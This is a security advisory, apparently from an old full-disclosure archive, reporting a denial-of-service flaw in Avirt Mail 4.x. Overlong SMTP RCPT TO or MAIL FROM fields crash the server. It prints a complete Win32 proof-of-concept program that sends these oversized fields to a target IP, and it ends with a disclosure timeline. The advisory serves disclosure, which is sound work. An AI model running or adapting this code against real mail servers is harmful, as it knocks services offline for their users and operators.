COMMAND

    Avirt Mail

SYSTEMS AFFECTED

    Avirt Mail 4.x

PROBLEM

    Martin O. found  following.  Avirt  Mail 4.x up  to latest version
    is vulnerable to denial of service while handling a SMTP  session.
    This was tested under:

        - Avirt Mail 4.0 (build 4124) - vulnerable
        - Avirt Mail 4.2 (build 4807) - vulnerable

    Both versions where tested on Windows 98 since, however any  win32
    system ought to be vulnerable.

    When connecting to port 25 on a computer running any of the  above
    mentioned versions  of Avirt  Mail, it  is possible  to crash  the
    server by supplying an unusually long from- or recieptant-address.
    The crash occurs when the connection to the client is closed.

    If 272 or more characters are supplied after "RCPT TO:" the server
    will  crash  as  soon  as  the  session  is  closed  and  no  more
    connections will be allowed  until the server has  been restarted.
    The attack  will not  be logged  by Avirt  Mail.   The server will
    crash both if  the session is  aborted before completing  the mail
    or if a "DATA" command is  sent.  Wether the connection is  closed
    by quit or by a dropped connection makes no difference.

    If 556 or  more characters are  supplied after "MAIL  FROM:" there
    are two possible outcomes:

    1. If "RCPT TO:" and "DATA" commands are appended, the server will
       not  crash,  the  server  will  store  the  message  with   the
       search-path  to  the  SMTPOut  directory  at  the  end  of  the
       FROM-line.  If  a real TO-address  where to be  used, this will
       processed as a normal mail. No exception log will be made.

    2. If  the  session  is  aborted  directly after the "MAIL  FROM:"
       command, the server will  crash without logging the  attack and
       no  more  connections  will  be  allowed  before  the server is
       restarted.

    These  flaws  are  probably  due  to  insufficient bounds-checking
    somewhere in the code, leading to an overflow in either the  array
    holding the from- or recieptant-address.

    The flaws  are demonstrated  in the  attached code  (win32 console
    code).  The program when compiled takes two arguments:

        ip-address type

    Where type can be one of the following

        1 - Overflow in RCPT TO: command.   (aborted session)
        2 - Overflow in MAIL FROM: command. (aborted session)
        3 - Overflow in RCPT TO: command.   (finnished session)
        4 - Overflow in MAIL FROM: command. (finnished session)

    From  the  researching  done,  these  flaws  does  not  seem to be
    exploitable (in the means of running arbitary code on the computer
    running the  server).   Therefore, they  do not  pose as  a direct
    integrity thread, but mere as  a DoS threat.  This  conclusion may
    however be proven wrong.

    /*
       Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
       wersion@trust-me.com
       Win32 console code
    */
    #include <mem.h>
    #include <winsock.h>
    #include <iostream.h>
    #include <stdlib.h>
    
    #define RCPT_SIZE 272
    #define FROM_SIZE 556
    
    struct sckssString
    {
       char *szBuffer;
       int nSize;
    };
    
    char szHELO[] = "HELO anonymous";
    char szMAIL[] = "MAIL FROM: ";
    char szRCPT[] = "RCPT TO: ";
    char szQUIT[] = "QUIT";
    char szDATA[] = "DATA\nTest data\n.";
    
    void socksenddata(int socket, sckssString* data)
    {
       if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
       {
          cout << "->" << data->szBuffer << endl;
          return;
       }
       else
       {
          cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
          exit(1);
       }
    }
    
    void socksendendline(int socket)
    {
       if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
       else
       {
          cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
          exit(1);
       }
    }
    
    void socksendanum(int socket, unsigned long int num)
    {
       char *tempa = new char[num+1];
       memset(tempa,'A',num);
       tempa[num]=0;
       if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
       {
          cout << "->" << tempa << endl;
          return;
       }
       else
       {
          cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
          exit(1);
       }
       delete[] tempa;
    }
    
    int main(int argv, char **argc)
    {
       if(argv<3)
       {
          cout << "Usage: " << argc[0] << " ip-address type" << endl;
          cout << "Types:" << endl;
          cout << "1 - Overflow in RCPT TO: command.   (aborted session)" << endl;
          cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
          cout << "3 - Overflow in RCPT TO: command.   (finnished session)" << endl;
          cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
          exit(1);
       }
       WORD wVersionRequested = MAKEWORD(1,1);
       WSADATA wsaData;
       WSAStartup(wVersionRequested, &wsaData);
    
       SOCKADDR_IN saExploit;
       saExploit.sin_family = PF_INET;
       saExploit.sin_addr.s_addr = inet_addr(argc[1]);
       saExploit.sin_port = htons(25);
    
       SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
       if (sckExploit == INVALID_SOCKET)
       {
          cout << "WSA error (" << WSAGetLastError() << ")" << endl;
          WSACleanup();
          return 1;
       }
    
       if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
       {
          cout << "WSA error (" << WSAGetLastError() << ")" << endl;
          shutdown(sckExploit,2);
          closesocket(sckExploit);
          WSACleanup();
          return 1;
       }
    
       sckssString sckssHelo;
       sckssHelo.nSize = strlen(szHELO);
       sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
       strcpy(sckssHelo.szBuffer, szHELO);
    
       sckssString sckssMail;
       sckssMail.nSize = strlen(szMAIL);
       sckssMail.szBuffer = new char[sckssMail.nSize+1];
       strcpy(sckssMail.szBuffer, szMAIL);
    
       sckssString sckssRcpt;
       sckssRcpt.nSize = strlen(szRCPT);
       sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
       strcpy(sckssRcpt.szBuffer, szRCPT);
    
       sckssString sckssQuit;
       sckssQuit.nSize = strlen(szQUIT);
       sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
       strcpy(sckssQuit.szBuffer, szQUIT);
    
       sckssString sckssData;
       sckssData.nSize = strlen(szDATA);
       sckssData.szBuffer = new char[sckssData.nSize+1];
       strcpy(sckssData.szBuffer, szDATA);
    
       cout << "Beginning session..." << endl;
    
       switch(atoi(argc[2]))
       {
          case 1:
          {
             socksenddata(sckExploit,&sckssHelo);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssMail);
             socksendanum(sckExploit,5);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssRcpt);
             cout << "Overflowing RCPT TO:" << endl;
             socksendanum(sckExploit,RCPT_SIZE);
             socksendendline(sckExploit);
    
             cout << "Aborting session before data." << endl;
             socksenddata(sckExploit,&sckssQuit);
             socksendendline(sckExploit);
             break;
          }
          case 2:
          {
             socksenddata(sckExploit,&sckssHelo);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssMail);
             cout << "Overflowing MAIL FROM:" << endl;
             socksendanum(sckExploit,FROM_SIZE);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssRcpt);
             socksendanum(sckExploit,5);
             socksendendline(sckExploit);
    
             cout << "Aborting session before data." << endl;
             socksenddata(sckExploit,&sckssQuit);
             socksendendline(sckExploit);
             break;
          }
          case 3:
          {
             socksenddata(sckExploit,&sckssHelo);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssMail);
             socksendanum(sckExploit,5);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssRcpt);
             cout << "Overflowing RCPT TO:" << endl;
             socksendanum(sckExploit,RCPT_SIZE);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssData);
             socksendendline(sckExploit);
    
             cout << "Ending session." << endl;
             socksenddata(sckExploit,&sckssQuit);
             socksendendline(sckExploit);
             break;
          }
          case 4:
          {
             socksenddata(sckExploit,&sckssHelo);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssMail);
             cout << "Overflowing MAIL FROM:" << endl;
             socksendanum(sckExploit,FROM_SIZE);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssRcpt);
             socksendanum(sckExploit,5);
             socksendendline(sckExploit);
    
             socksenddata(sckExploit,&sckssData);
             socksendendline(sckExploit);
    
             cout << "Ending session." << endl;
             socksenddata(sckExploit,&sckssQuit);
             socksendendline(sckExploit);
             break;
          }
          default:
          {
             cout << "Type " << argc[2] << " not allowed." << endl;
             break;
          }
       }
    
       shutdown(sckExploit,2);
       closesocket(sckExploit);
       WSACleanup();
       cout << endl << "Ready!" << endl;
       return 0;
    }

SOLUTION

    Avirt was informed about this by mail Sep 7 2000, with the  notice
    that the information was going  to be released as full  disclosure
    in  40  days  without  further   notice  if  they  hadn't   issued
    information by  then.   Sep 8  2000 Avirt  confirmed the  mail and
    told  they  had  forwarded  the  information  to their developers.
    Avirt has not been  in contact since then  and no update has  been
    released on their homepage.  More than forty days has passed.